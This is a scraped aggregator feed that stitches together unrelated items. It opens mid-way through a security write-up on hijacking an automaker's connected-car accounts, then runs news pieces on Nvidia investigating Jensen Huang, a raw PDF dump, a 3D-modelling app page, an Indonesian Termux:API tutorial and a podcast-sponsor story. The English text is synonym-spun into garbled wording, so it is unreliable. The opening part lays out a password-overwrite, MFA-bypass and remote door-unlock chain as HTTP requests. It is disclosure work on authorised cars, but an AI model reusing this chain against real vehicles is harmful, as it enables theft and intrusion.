> HTTP/1.1 200 OK > {"_id":"f7ba554REDACTED","_rev":"0000000def456..."}
OK, so we could overwrite the password for any user. But what concerning multi-factor authentication?
Skipping MFA
Well, the automaker's Australian surroundings had one additional misconfiguration: the multi-factor stage could be skipped entirely. First, we requested an authentication token from login.redacted-identity.com.au alongside a Resource Owner Password Credentials grant, which returned a spotless id_token we could toggle for item usable in the person app:
POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded grant_type=password&[email protected]&password=Testing123!&client_id=REDACTED_PORTAL&client_secret=REDACTED > HTTP/1.1 200 OK > { > "access_token": "...", > "id_token": "eyJ0eXAiOiJKV1Qi...", > "token_type": "Bearer", > "expires_in": 3599 > }
We took that and moved on to stage two, exchanging the archetypal token for a session:
POST /json/realms/REDACTED/authenticate?authIndexType=service&authIndexValue=IDTokenROPC HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/json Accept: application/json Accept-API-Version: resource=2.0, protocol=1.0 idtoken: eyJ0eXAiOiJKV1Qi... > HTTP/1.1 200 OK > { > "tokenId": "AQIC5wM2LY4Sfcy...*", > "successUrl": "/openam/console", > "realm": "/REDACTED" > }
Lastly, we performed the token toggle for a mobile app admission token:
POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded Accept-API-Version: resource=2.1, protocol=1.0 x-fr-version: 2025.05.05 Authorization: Basic iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...* Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...* client_id=REDACTED_APP&redirect_uri=com.redacted.app:/oauth2Callback&scope=openid%20profile%20write&response_type=code&state=&code_challenge=&code_challenge_method=S256&decision=allow&csrf=AQIC5wM2LY4Sfcy...* > HTTP/1.1 302 Found > Location: com.redacted.app:/oauth2Callback?code=&state= POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1 Host: login.redacted-identity.com.au Content-Type: application/x-www-form-urlencoded Accept-API-Version: resource=2.1, protocol=1.0 Authorization: Basic grant_type=authorization_code&code=&redirect_uri=com.redacted.app:/oauth2Callback&client_id=REDACTED_APP&code_verifier= > HTTP/1.1 200 OK > { > "access_token": "", > "refresh_token": "...", > "token_type": "Bearer", > "scope": "openid overview write", > "expires_in": 3599 > }
It's excellent convoluted, I know. OAuth is annoyingly difficult sometimes. But these steps let us bypass multi-factor authentication for any person of the automaker's connected car app.
Unlocking the car
At this point, we were so damn near to unlocking any of the automaker's cars in Australia. All that was remaining was issuing the command API requests alongside the app token we could now mint for anyone.
POST /v1/remote/route/command HTTP/1.1 Host: api.redacted-telematics.com.au Authorization: Bearer X-API-KEY: REDACTED X-GUID: f7ba554REDACTED X-BRAND: REDACTED X-APPBRAND: REDACTED X-CHANNEL: REDACTED X-LOCALE: en-AU X-APPVERSION: REDACTED X-OSNAME: Android X-OSVERSION: 14 X-DEVICE-TIMEZONE: AEST X-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8 X-GENERATION: REDACTED VIN: XXXXXXXXXXXXXXXXX Content-Type: application/json Accept: application/json User-Agent: okhttp/4.12.0 {"command": "door-unlock", "autoFixPopup": false, "beepCount": null}
And magic. The doors unlocked.
We evidently did all of this on cars we explicitly owned or had approval to engage with.
But let's obtain a stage rear and think concerning what we achieved here. We could dispatch commands to any of the automaker's vehicles in Australia, throughout the two of their brands, by lone knowing the figure dish of the vehicle. The final sequence looked akin this:
Plate -> VIN -> Subscriber GUID -> OpenIDM admin credentials in JS vendor bundle -> Path traversal to bypass the WAF -> MFA bypass via ROPC stream -> Minting a person app token -> Remote command API.
At 12AM, whenever the complete sequence eventually came together, I took a abbreviated video of the manuscript in action. It's not polished, but it motionless felt magical seeing it all work. I certainly live for difficult challenges akin these.

0:00
/0:57

You power be wondering: Shubs, you stated any of their cars in the world. This lone covers Australia. What gives?
There's a much additional complex sequence that Sam and I worked on together, which he's published on his blog here. It required a lot additional activity than the steps we took for Australia, as the automaker had spent much additional period securing the US, Canadian, and European OpenIDM environments.
At the end of the day, alongside the two writeups combined, we could dispatch distant commands specified as unlocking and turning the engines on, for any of the automaker's vehicles in Australia, the United States, and Canada.

Here's what smart people are saying about Nvidia's investigation of CEO Jensen Huang

support@mycoding.id (Lauren Edmonds) — Mon, 09 Nov 2026 01:08:25 +0700

Joel Saget / AFP via Getty Images Nvidia CEO Jensen Huang stated in a memo on Sunday that he had been "unfaithful" to his wife.

On Sunday, Nvidia stated its commission of board opened an independent investigation into whether Jensen Huang had been the "target of a abroad intellect effort."
Huang shared a memo alongside Nvidia employees before in the day in which he stated he had been "unfaithful" to his wife.
In October, The New York Times reported that US officials believed that a Chinese intellect asset, Alice Huang, had developed a association alongside the Nvidia CEO. Alice Huang has been an administrator for Megaspeed, an Nvidia customer.
As Nvidia teeters on the border of a national safety scandal, several endeavor and tech leaders have begun to measure in. Here's what they're saying.

Bill Ackman, CEO of Pershing Square Capital Management

On Sunday, Pershing Square CEO Bill Ackman suggested group should guide alongside empathy whenever it comes to Huang.
"An alert: @JensenHuang is human. And he is an amazing human. Even amazing humans create mistakes," Ackman stated on X. "He takes complete duty as he should. We should all assistance him and his family. Onward."

Chris McGuire, elder chap at the Council on Foreign Relations

Chris McGuire, a elder chap at the Council on Foreign Relations, stated the US Department of Commerce shared accuse for the national safety threat.
He stated the division has enacted policies that create it uncomplicated for China to admission Nvidia most advanced chips.
"@CommerceGov guidance knew that Jensen was sleeping alongside a Chinese spy and that Megaspeed was a Chinese cutout, but motionless actively opposed any policies to tighten export controls on Nvidia chips. Why?" he wrote in an X article on Sunday.
"Commerce could have blocked part shipments to Megaspeed the instant it established out that it was run by a Chinese spy, but it did not. Commerce has additionally refused to enforce regulations—which ironically remain on the books—that would necessitate exporters to use for a licence to container ample numbers of AI chips to untrusted entities in many countries, which would forestall China from using casing companies akin Megaspeed to buy controlled chips," he added.
McGuire stated it's crucial that Nvidia takes national safety issues additional seriously, but additionally called on the US Department of Commerce to "tighten up export controls."

Jason Calacanis, angel capitalist and "All-in" host

Jason Calacanis, an angel capitalist and presenter on the "All-In" podcast, stated on Sunday that the US is in an urgent competition to guide the earth AI industry and that Huang was chief to that effort.
"We need to win, for the purpose of self-government and humanity. We are all in this together: the left, the correct and the center. There is no period for infighting," Calacanis wrote on X. "Jensen and NVIDIA's innovation are a crucial target, and we need to defend them both."
Calacanis called on the US to rally together against China and "go faster."
"Act accordingly," he wrote.

Dan Ives, partner and elder managing director at Yorkville Ives

Dan Ives, a partner and elder managing director at Yorkville Ives, stated on Sunday that the circumstance is a stain on Huang's reputation.
"This is a dreary eye instant for Jensen and volition spark multiple legislative inquiries at a minimum and volition create an overhang," Ives wrote.

Texas Rep. Michael McCaul

Texas Rep. Michael McCaul stated the US should "immediately pause" shipments of advanced AI chips to China until "we can get to the base of this event and justify our national safety is not being undermined."
"This is a traditional move from the CCP's playbook — and another example of why it can never be trusted," he wrote.

Shaun Maguire, partner at Sequoia Capital

Sequoia Capital partner Shaun Maguire shared a few thoughts in an X article on Sunday. Maguire called Huang "one of the top entrepreneurs of this generation," who additionally did item "incredibly dumb."
He called the decision "bad for America" but doubted Huang had bad intentions.
"two mistakes don't create a right, and I accept Jensen is irreplaceable for America's AI leadership," Maguire said.

Ross Gerber, chairman and CEO of Gerber Kawasaki Wealth and Investment Management

Ross Gerber additionally discussed the news in an X article on Sunday. Gerber is the chairman and CEO of Gerber Kawasaki Wealth & Investment Management.
"Extremely disappointing to see the news concerning Jensen. A huge error of judgement and at a totally crucial period for AI development. Not certain how this shakes out," he wrote.

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Herb Sutter: When a language's creator and its owners strongly disagree [pdf]

support@mycoding.id (Adi Gunawan) — Mon, 09 Nov 2026 00:28:01 +0700

%PDF-1.7 % 1 0 obj <>/Metadata 664 0 R/ViewerPreferences 665 0 R>> endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 23 0 R 26 0 R 27 0 R 28 0 R 30 0 R 31 0 R 32 0 R 34 0 R 36 0 R 37 0 R 39 0 R 40 0 R 41 0 R 42 0 R 45 0 R] /MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<>/Tabs/S/StructParents 0>> endobj 4 0 obj <> stream x]ms۸~zgx'7JNq:pLjlɕ]%,2cR$AMuqarѸ&㋇OsSU^Vӓ Af`< GSdZ|K2><8pxp|L&,*U:p]z9&tw?g+Ū_{bҡgDvpQ

Here’s the full text of Jensen Huang’s memo to Nvidia

support@mycoding.id (Terrence O’brien) — Sun, 08 Nov 2026 23:54:50 +0700

On Sunday, Nvidia announced it was launching an investigation into CEO Jensen Huang’s association alongside Alice Huang, an AI administrator and delegate of the Chinese government. In supplement to the Board of Directors announcing the investigation, Huang sent a memo to Nvidia workforce acknowledging the affair. You can peruse the complete content below.
To my colleagues at NVIDIA,
I owe my family and all of you an apology.
I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.
Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.
To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.
To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.
Regarding the national safety concerns raised in news reports, NVIDIA’s Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America’s national security. I am arrogant and grateful to be an American.
My family bears no duty for my choices. I do. Please provision them privacy.
— Jensen

Chimera Vocal Synth

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 23:36:03 +0700
Comments

KetchUp – Open-source SketchUp alternative built with Rust and WebGPU

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 23:35:35 +0700

KetchUp is a free, open-source 3D modeling app for woodworking and furnishings design. Plan a shelf, table, cabinet, or workbench alongside exact measurements before you build. Use it on Windows, macOS, Linux, or correct in your desktop browser.

A small sketch. A entire new dimension.Actual KetchUp workspace

Free & open source. No document needed.
Made for a desktop browser and a mouse.

From the archetypal line
to the finer details.

Start alongside a uncomplicated shape. Keep the tools you need close, and your example at the center.

Draw. Pull. Make it yours.

Sketch lines, rectangles, circles, and freehand outlines. Turn faces into forms alongside Push/Pull, afterward move, scale, offset, and paint.

Keep your ideas in measure.

Snap to geometry and axes, category exact lengths, and add dimensions. Organize the bigger image alongside groups, components, and tags.

Your work, in your hands.

Autosave locally and download portable .ketchup projects. Import SketchUp geometry or export an OBJ to obtain your example further.

Plan your furniture
before the archetypal cut.

For woodworkers, furnishings makers, and DIY builders who desire to examine a project in 3D.

Model the pieces

Draw commission outlines alongside rectangles and lines, afterward use Push/Pull to provision them thickness. Move and copy geometry to examine shelves, tables, cabinets, workbenches, and another furniture.

Check dimensions and fit

Enter exact lengths, break to geometry and axes, and use Tape Measure and Dimensions to inspect your design. Orbit about the gathering to assessment proportions before taking it to the workshop.

Keep the project organized

Use groups, reusable components, and tags to arrange parts. Save a portable .ketchup project locally, import SketchUp geometry, or export OBJ geometry for another 3D workflow.

Start alongside the browser editor or download the desktop app. Read the user guide for modeling instructions and supported workflows.

Your archetypal shape
is three steps away.

The publishing company opens alongside a spotless slate.
Here’s a fine location to start.

Open the workspace

Draw a rectangle
Click one corner, afterward the contrary border to create your archetypal face.

Give it several depth
Choose Push/Pull, click the face, move your mouse, and click to finish.

Find a caller perspective
Choose Orbit and drag to appearance around. Scroll to zoom; media F to fit your model.

A few things
before you begin.

What do I need to run it?
A desktop browser alongside hardware acceleration and WebGPU or WebGL2 support. Use a mouse and keyboard for modeling. You can additionally run KetchUp as a native Windows, macOS, or Linux app.
Where does my activity go?
Your example is autosaved in this browser on this device. Use File → Save to download a .ketchup project you can keep or open again. Clearing browser data can eliminate autosaved work, so download projects you desire to keep. There’s no haze retention or document to set up.
Can I use my existing models?
Use File → Import/Export to import SketchUp (.skp) geometry or export Wavefront OBJ (.obj). Imports run locally. SketchUp textures, scenes, and several example features aren’t supported; OBJ export includes geometry without materials.
Is KetchUp free?
Yes. KetchUp is open origin under the MIT licence and written in Rust. Explore the code, peruse the complete guide, or contribute on GitHub.

A blank canvas.
Plenty of possibilities.
Let’s create item Prefer the desktop? Download KetchUp

Nvidia CEO Jensen Huang's letter to staff about affair

support@mycoding.id (Putri Silvia) — Sun, 08 Nov 2026 23:20:09 +0700
Comments

Nvidia CEO Jensen Huang says he was 'unfaithful' to his wife: Read his note to staff

support@mycoding.id (Lauren Edmonds) — Sun, 08 Nov 2026 22:56:49 +0700

Nvidia stated it's examining whether CEO Jensen Huang was the mark of a "foreign intellect effort." Bloomberg/Getty Images

Nvidia CEO and originator Jensen Huang apologized for being "unfaithful" to his spouse in a note to personnel on Sunday.
Earlier in the day, Nvidia stated its commission of board opened an independent investigation into whether Huang had been the "target of a abroad intellect effort."
The New York Times reported final duration that US officials accept Alice Huang, a erstwhile administrator at a data center business in Singapore, was a Chinese intellect asset passing data to Beijing. The outlet reported that surveillance of Huang showed that she had developed a association alongside the Nvidia founder.
Read Huang's note to staffers here:
To my colleagues at NVIDIA,
I owe my family and all of you an apology.
I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.
Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.
To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.

To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.
Regarding the national safety concerns raised in news reports, NVIDIA's Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America's national security. I am arrogant and grateful to be an American.
My family bears no duty for my choices. I do. Please provision them privacy.
Jensen

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Ask HN: What are you working on? (November 2026)

support@mycoding.id (Doris Putra) — Sun, 08 Nov 2026 22:20:20 +0700
Ask HN: What are you working on? (November 2026). Comments

Nvidia Board of Directors Is Investigating Jensen Huang

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 21:26:43 +0700

The NVIDIA Board is initiating an autonomous inquiry in ray of latest reporting that originator and CEO Jensen Huang has been the mark of a abroad intellect effort.

A commission of autonomous directors, assisted by exterior autonomous counsel, volition oversee the investigation.

The Board prioritizes U.S. national and financial security, which is paramount to the interests of NVIDIA and its shareholders.

While the Board has no logic to accept that either national safety or NVIDIA secrets were compromised, the Board's enquiry volition analyze all accessible information.

Jensen completely supports the assessment and has committed to cooperating alongside it.

The Board has confidence in Jensen and his guidance squad and volition provision additional updates as appropriate.

Nvidia is investigating CEO Jensen Huang after he said he was unfaithful to his wife: Read his note to staff

support@mycoding.id (Lauren Edmonds) — Sun, 08 Nov 2026 21:21:30 +0700

Bloomberg/Getty Images Jensen Huang.

Nvidia's commission of board says it is beginning an inquiry into whether CEO Jensen Huang was the mark of a "foreign intellect effort."
The notice came following Huang sent a note to Nvidia personnel in which he stated he was "unfaithful" to his wife.
In a declaration on Sunday, the business stated the commission of board prioritizes US national and financial security, which it considers "paramount to the interests of NVIDIA and its shareholders."
Read his note here:
To my colleagues at NVIDIA,
I owe my family and all of you an apology.
I was unfaithful to my wife. My actions hurt her and our children. There is no excuse for what I did. I am deeply sorry.
Throughout my life, my family has stated me affection and support. They deserve my honesty and loyalty. Instead, I let them downward and damaged the existence we built together. I obtain complete duty for what I did and the hurt I caused, and I obtain the criticism that comes alongside it.
To my spouse and family: I affection you. I cognize an apology cannot undo what I have done. I anticipation our family volition heal and that, complete time, I can acquire rear your trust.

To my colleagues at NVIDIA, including those I have worked alongside for decades, and to our board, partners, and shareholders about the world: you deserve improved from me. Leading NVIDIA is the privilege of my life. My duty is to assist you and be deserving of your trust. I have fallen abbreviated of that responsibility. I am completely committed to NVIDIA and volition activity to acquire rear your confidence.
Regarding the national safety concerns raised in news reports, NVIDIA's Board of Directors has initiated an autonomous investigation. I assistance the inquiry and volition cooperate fully. I affection our nation and our company. I am committed to protecting NVIDIA and supporting America's national security. I am arrogant and grateful to be an American.
My family bears no duty for my choices. I do. Please provision them privacy.
Jensen
This is breaking news. Check rear for more.

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Termux API: Cara Install Termux:API, Izin Android, dan Perintah yang Sering Dipakai

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 21:00:00 +0700

Termux API adalah pasangan aplikasi Android Termux:API dan paket termux-api yang membikin perintah di Termux bisa memakai fungsi HP, misalnya membaca status baterai, memunculkan notifikasi, mengisi clipboard, maupun memotret. Kalian perlu memasang keduanya, dan aplikasi Termux serta Termux:API mesti berasal dari sumber yang sama: sama-sama F-Droid maupun sama-sama GitHub.

Kalau perintah alas seperti pkg install dan nano statis asing, buka dahulu daftar perintah Termux kami, karena contoh di bawah memakai keduanya.

Apa Itu Termux API dan Kenapa Butuh Dua Bagian

Termux sendiri adalah terminal dan lingkungan Linux. Ia tidak bisa langsung menyalakan senter, membaca lokasi, maupun memunculkan notifikasi Android. Pekerjaan itu diambil alih Termux API, yang nama resminya ditulis Termux:API. README repositorinya mengatakan aplikasi ini membuka API Android agar bisa dipakai dari baris perintah, skrip, maupun program lain.

Aplikasi Termux:API berjalan di sisi Android. Dialah yang memanggil fungsi HP dan meminta persetujuan ke pengguna. Paket termux-api dipasang di dalam Termux dan berisi perintah seperti termux-battery-status maupun termux-notification. Perintah itu memproses argumen, meneruskan permintaan ke aplikasi lewat program bantu disebut termux-api, kemudian menampilkan dampaknya di terminal. Beberapa perintah, seperti status baterai dan lokasi, mengembalikan hasil dalam format JSON.

Jadi paket tanpa aplikasi tidak punya tujuan untuk dipanggil, dan aplikasi tanpa paket tidak punya perintah untuk dijalankan. Deskripsi paket di repositori Termux pun mengingatkan hal yang sama: pasang juga aplikasi Termux:API.

Kenapa Termux dan Termux:API Harus dari Sumber yang Sama

Syarat ini wajib dipenuhi sebelum memasang Termux API. README termux-app menerangkan bahwa APK dari tiap sumber ditandatangani dengan kunci yang berbeda. Termux dan semua pluginnya, termasuk Termux:API, memakai sharedUserId com.termux yang sama, sehingga semuanya mesti ditandatangani dengan kunci yang sama. README Termux:API menambahkan bahwa cuma aplikasi Termux utama yang boleh memanggil fungsi di aplikasi API, dan izinnya baru bekerja jika tanda tangannya cocok.

Pasangkan Termux dari F-Droid dengan Termux:API dari F-Droid, maupun Termux dari GitHub dengan Termux:API dari GitHub. Kalau dicampur, Android biasanya menolak pemasangan dengan pesan seperti App not installed, INSTALL_FAILED_SHARED_USER_INCOMPATIBLE, maupun signatures do not match previously installed version.

Mau pindah sumber? Hapus dahulu Termux beserta semua pluginnya, kemudian pasang ulang semuanya dari sumber baru. README Termux menyarankan mencadangkan isi Termux sebelum menghapusnya. Untuk Google Play, README yang sama mengatakan build di sana statis cabang eksperimental dengan fitur yang belum lengkap, dan menyarankan F-Droid maupun GitHub bagi yang bisa memakainya.

Cara Install Termux API

Pastikan Termux terpasang dari F-Droid maupun dari halaman rilis GitHub termux/termux-app.

Pasang aplikasi Termux:API dari sumber yang sama: halaman com.termux.api di F-Droid, maupun halaman Releases repositori termux/termux-api di GitHub (nama file APK-nya memuat github.debug).

Buka Termux, kemudian pasang paket perintahnya dengan pkg install termux-api.

Uji dengan termux-battery-status. Kalau berhasil, terminal menampilkan JSON yang antara lain berisi percentage (persen baterai), status (misalnya CHARGING maupun DISCHARGING), plugged, dan temperature.

Di antara perintah Termux API, status baterai tidak meminta persetujuan apa pun, jadi cocok untuk tes pertama. Perintah yang menyentuh kamera, lokasi, maupun mikrofon akan memunculkan percakapan persetujuan saat pertama kali dipanggil.

Izin Android yang Diminta Termux API

Aplikasi Termux API mendaftarkan banyak persetujuan di manifesnya, termasuk kamera, lokasi, mikrofon, kontak, SMS, dan getar. Izin yang sensitif tidak diberikan otomatis. Aplikasi memeriksanya setiap kali perintah dipanggil. Bila persetujuan belum ada, ia membuka percakapan persetujuan dan mengembalikan pesan error ke terminal. Beberapa contohnya:

Perintah Izin Android yang diperiksa
termux-camera-photo CAMERA
termux-location ACCESS_FINE_LOCATION
termux-microphone-record RECORD_AUDIO
termux-contact-list READ_CONTACTS
termux-call-log READ_CALL_LOG
termux-sms-send READ_PHONE_STATE dan SEND_SMS

Kalau persetujuan kamera belum diberikan, misalnya, keluarannya seperti ini:

{ "error": "Please grant the following permission to use this command: android.permission.CAMERA" }

Setelah persetujuan diberikan lewat dialog, jalankan ulang perintahnya. Kalau persetujuan sempat ditolak, buka pengaturan aplikasi Termux:API di Android, masuk ke bagiankecil izin, kemudian aktifkan persetujuan yang disebut di pesan error.

Lokasi punya syarat tambahan. Di Android 11 ke atas, Termux:API juga memeriksa persetujuan letak latar belakang. Bila belum ada, termux-location mengembalikan pesan Background location permission not granted dan meminta kalian membuka Settings, Apps, Termux:API, Permissions, Location, kemudian memilih Allow all the time. Perintah termux-notification-list juga butuh akses notifikasi; tanpa akses itu, aplikasi menampilkan toast Please give Termux:API Notification Access dan membuka halaman pengaturannya.

Daftar Perintah Termux API yang Sering Dipakai

Perintah Fungsi Contoh
termux-battery-status Status baterai dalam JSON: persen, status pengisian, suhu, sumber daya termux-battery-status
termux-notification Menampilkan notifikasi mekanisme dengan judul (-t) dan isi (-c) termux-notification -t "Backup" -c "Selesai"
termux-toast Popup teks singkat di layar; -s untuk durasi pendek termux-toast -s "Selesai"
termux-vibrate Menggetarkan HP; -d durasi dalam milidetik (bawaan 1000) termux-vibrate -d 500
termux-clipboard-get Membaca teks di clipboard termux-clipboard-get
termux-clipboard-set Mengisi clipboard dari karena maupun stdin echo "halo" | termux-clipboard-set
termux-location Lokasi HP; -p gps/network/passive, -r once/last/updates termux-location -p network -r last
termux-camera-info Informasi kamera yang ada di HP, termasuk ID-nya termux-camera-info
termux-camera-photo Memotret dan menyimpan JPEG; -c memilih ID kamera termux-camera-photo -c 0 foto.jpg
termux-wifi-connectioninfo Info hubungan Wi-Fi saat ini, seperti SSID, IP, RSSI, dan kecepatan tautan termux-wifi-connectioninfo
termux-torch Menyalakan maupun mematikan senter termux-torch on
termux-job-scheduler Menjadwalkan skrip agar berjalan berkala lihat contoh di bawah

Sebagian besar perintah menampilkan pertolongan dan daftar opsinya lewat -h, misalnya termux-notification -h. Daftar komplit perintah Termux API ada di folder scripts repositori termux-api-package di GitHub; tiap file di sana adalah skrip satu perintah beserta teks bantuannya.

Contoh Skrip Termux API: Notifikasi Saat Baterai Hampir Habis

Skrip ini memakai tiga perintah Termux API sekaligus. Ia membaca status baterai, kemudian memunculkan notifikasi dan getar singkat jika baterai sedang tidak diisi dan sisanya 20% maupun kurang.

#!/data/data/com.termux/files/usr/bin/sh BATAS=20 INFO=$(termux-battery-status) PERSEN=$(echo "$INFO" | grep '"percentage"' | grep -o '[0-9][0-9]*') STATUS=$(echo "$INFO" | grep '"status"' | cut -d '"' -f 4) if [ -n "$PERSEN" ] && [ "$STATUS" = "DISCHARGING" ] && [ "$PERSEN" -le "$BATAS" ]; then termux-notification --id baterai -t "Baterai tinggal $PERSEN%" -c "Colokkan charger sebelum HP mati." termux-vibrate -d 500 fi

Baris grep memungut bilangan dari baris percentage, dan cut memungut teks status seperti DISCHARGING. Pengecekan status membikin notifikasi tidak muncul saat HP sedang dicas. Opsi --id baterai membikin notifikasi baru menimpa notifikasi durasi dengan ID yang sama, jadi tidak menumpuk. Kalau formasi if dengan beberapa kondisi itu belum familier, lihat panduan if else di Bash.

Cara memasang dan menjadwalkannya:

Buat filenya dengan nano ~/baterai.sh, tempel skrip di atas, kemudian simpan.

Jadikan executable dengan chmod +x ~/baterai.sh.

Uji sekali dengan ~/baterai.sh. Supaya notifikasinya pasti muncul saat uji, ubah sementara BATAS=20 menjadi BATAS=100 dan cabut charger.

Jadwalkan dengan termux-job-scheduler -s $HOME/baterai.sh --job-id 1 --period-ms 900000 --battery-not-low false.

Angka 900000 milidetik sama dengan 15 menit, batas minimum masa sejak Android 7 menurut teks pertolongan perintah ini. Opsi --battery-not-low bawaannya true, artinya tugas cuma berjalan saat baterai tidak lemah. Untuk skrip peringatan baterai, harga itu mesti diubah ke false, jika tidak skripnya justru tidak jalan saat dibutuhkan. Cek agenda yang aktif dengan termux-job-scheduler -p dan hapus dengan termux-job-scheduler --cancel --job-id 1.

Error yang Sering Muncul Saat Memakai Termux API

Pesan Penyebab Solusi
App not installed, INSTALL_FAILED_SHARED_USER_INCOMPATIBLE, signatures do not match previously installed version Termux dan Termux:API berasal dari sumber berbeda Hapus Termux dan semua pluginnya, pasang ulang dari satu sumber
Perintah seperti termux-battery-status tidak dikenali (command not found) Paket termux-api belum terpasang pkg install termux-api
Please grant the following permission to use this command: ... Izin Android untuk perintah itu belum diberikan Izinkan di percakapan yang muncul maupun di pengaturan aplikasi Termux:API
Background location permission not granted Android 11 ke atas, persetujuan letak belum diset sepanjang waktu Ubah persetujuan letak Termux:API ke Allow all the time
Cannot execute file: ... Skrip yang dijadwalkan belum executable chmod +x pada skrip tersebut
No such file: ... Path skrip di termux-job-scheduler -s salah Pakai path lengkap, misalnya $HOME/baterai.sh

Error di luar Termux API, seperti proses yang selesai dengan pesan signal 9 maupun paket yang tidak ditemukan saat pkg install, sudah kami ulas di 10 error pada Termux dan metode mengatasinya.

Chewy and other companies pull ads from 'I've Had It' podcast after hosts laugh at 'insensitive' Charlie Kirk joke

support@mycoding.id (Lauren Edmonds) — Sun, 08 Nov 2026 20:59:23 +0700

Jennifer Welch and Angie Sullivan apologized for their remarks concerning Charlie Kirk on Instagram. Theo Wargo/Getty Images

A 39-second clip shared to X is turning into a enormous headache for the "I've Had It" podcast.
At smallest nine companies have pulled their sponsorships from the famous progressive-leaning civilization and government podcast following a clip of hosts Jennifer Welch and Angie "Pumps" Sullivan went viral on X final week.
The clip, which has nearly 6 myriad views and 18,000 likes, showed the brace laughing at an X article referencing Charlie Kirk, the right-wing governmental advocate who was assassinated final year.
The clip drew criticism from several X users, who called for a boycott of the podcast. Companies began distancing themselves from the display shortly after, including online retailer Chewy.
We do not sponsor or assistance the “I’ve Had It” podcast. We unequivocally condemn aggression in all forms. The comments made by the hosts do not indicate Chewy’s values or what we remain for as a company.
— Chewy (@Chewy) November 7, 2026

"We do not sponsor or assistance the "I've Had It" podcast. We unequivocally condemn aggression in all forms," the business stated in an X article on Saturday. "The comments made by the hosts do not indicate Chewy's values or what we remain for as a company."
Chewy CEO Sumit Singh doubled downward on the company's decision in his own X post. Meanwhile, Cash App, Zenni, Casper, and Honeylove additionally cut ties.
"Honeylove has ended our alliance alongside the I've Had It podcast. Violence of any benevolent is never acceptable, and those comments do not indicate our values," Honeylove stated in an X article on Sunday.
The "I've Had It" hosts posted an apology to the podcast's Instagram document on Saturday.
"It was an insensitive joke, and we should not have laughed. We regret it, and we apologize," the podcast said. "Whatever our governmental differences, there is nothing comic concerning gun violence."

The podcast stated it donated to Everytown for Gun Safety, the largest gun-violence-prevention institution in the United States.
This isn't the archetypal period a presenter has landed in hot h2o complete comments made concerning Kirk. ABC, owned by the Walt Disney Company, suspended and afterward reinstated Jimmy Kimmel's late-night conversation display complete his remarks concerning Kirk. Some workforce from major companies akin Office Depot and Nasdaq additionally disciplined workforce who made negative remarks concerning Kirk online.
The "Pivot alongside Kara Swisher and Scott Galloway" podcast, which discusses business, tech, and politics, has additionally been targeted by calls for an promotion boycott following Galloway criticized Elon Musk final week.
During the archetypal halt on the Pivot Tour 2026, Galloway, an scholarly who frequently writes concerning the tech industry, called Musk a "traitor to the West" and referenced the Rosenbergs. Julius and Ethel Rosenberg were convicted of conspiracy to commit espionage during the Cold War and were executed by the national government.
The remarks drew the ire of Jason Calacanis of the "All-In" podcast and others, including University of California San Diego prof Brian Keating. The CEO of Boom Supersonic, an American aerospace company, wrote on X that Galloway was an capitalist in Boom and criticized the academic's comments.
"I don't intellect disagreements but calling for an implementation of a non-criminal (worse, an genuine hero!) is a stage too far," CEO Blake Scholl wrote on X on Friday. "Working to arrange a buy-out of his shares."

Read next

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Business Insider tells the innovative stories you desire to know

Starship Flight 15 on 11/13 plans to catch both booster and ship

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 20:49:46 +0700
Comments

How I Fight AI Brain Fry

support@mycoding.id (Adi Gunawan) — Sun, 08 Nov 2026 20:37:42 +0700

If you activity alongside Claude Code or Codex from the terminal, you cognize this one.

